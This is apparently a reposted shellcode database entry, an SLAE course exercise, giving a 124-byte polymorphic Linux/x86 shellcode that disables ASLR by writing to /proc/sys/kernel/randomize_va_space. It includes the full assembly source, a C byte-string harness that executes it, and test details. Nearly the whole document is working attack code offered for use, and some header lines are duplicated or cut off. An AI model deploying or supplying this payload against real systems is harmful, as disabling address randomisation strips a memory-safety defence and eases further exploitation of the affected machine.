Javascript Decoder

 

Linux x86 ASLR Deactivation Polymorphic Shellcode


# Title: Linux/x86 - ASLR deactivation polymorphic shellcode ( 124 bytes )
# Author: Xenofon Vassilakopoulos
# Date: 2020-06-11
# Tested on: Linux 3.13.0-32-generic #57~prec
# Title: Linux/x86 - ASLR deactivation polymorphic shellcode ( 124 bytes )
# Author: Xenofon Vassilakopoulos
# Date: 2020-06-11
# Tested on: Linux 3.13.0-32-generic #57~precise1-Ubuntu i686 i386 GNU/Linux
# Architecture: i686 GNU/Linux
# Shellcode Length: 124 bytes
# Original shellcode: http://shell-storm.org/shellcode/files/shellcode-813.php
# SLAE-ID: SLAE - 1314
# Description: polymorphic version of ASLR deactivation shellcode


------------------ ASLR deactivation ------------------

global _start

section .text

_start:
xor ebx,ebx
mul ebx
mov DWORD [esp-0x4],eax
mov DWORD [esp-0x8],0x65636170
mov DWORD [esp-0xc],0x735f6176
mov DWORD [esp-0x10],0x5f657a69
mov DWORD [esp-0x14],0x6d6f646e
mov DWORD [esp-0x18],0x61722f6c
mov DWORD [esp-0x1c],0x656e7265
mov DWORD [esp-0x20],0x6b2f7379
mov DWORD [esp-0x24],0x732f636f
mov DWORD [esp-0x28],0x72702f2f
sub esp,0x28
mov ebx,esp
mov cx,0x301
mov dx,0x2a1
add dx,0x1b
mov al, 0x5
int 0x80
mov ebx,eax
push ebx
mov cx,0x3b30
push cx
mov ecx,esp
shr edx, 16
inc edx
mov al,0x4
int 0x80
mov al,0x1
int 0x80

------------------ shellcode ------------------


#include <stdio.h>
#include <string.h>

unsigned char code[] =
"x31xdbxf7xe3x89x44x24xfcxc7"
"x44x24xf8x70x61x63x65xc7x44"
"x24xf4x76x61x5fx73xc7x44x24"
"xf0x69x7ax65x5fxc7x44x24xec"
"x6ex64x6fx6dxc7x44x24xe8x6c"
"x2fx72x61xc7x44x24xe4x65x72"
"x6ex65xc7x44x24xe0x79x73x2f"
"x6bxc7x44x24xdcx6fx63x2fx73"
"xc7x44x24xd8x2fx2fx70x72x83"
"xecx28x89xe3x66xb9x01x03x66"
"xbaxa1x02x66x83xc2x1bxb0x05"
"xcdx80x89xc3x53x66xb9x30x3b"
"x66x51x89xe1xc1xeax10x42xb0"
"x04xcdx80xb0x01xcdx80";

main()
{
printf("Shellcode Length: %d ", strlen(code));

int (*ret)() = (int(*)())code;

ret();
}

khalil shreateh

Share your comment publicly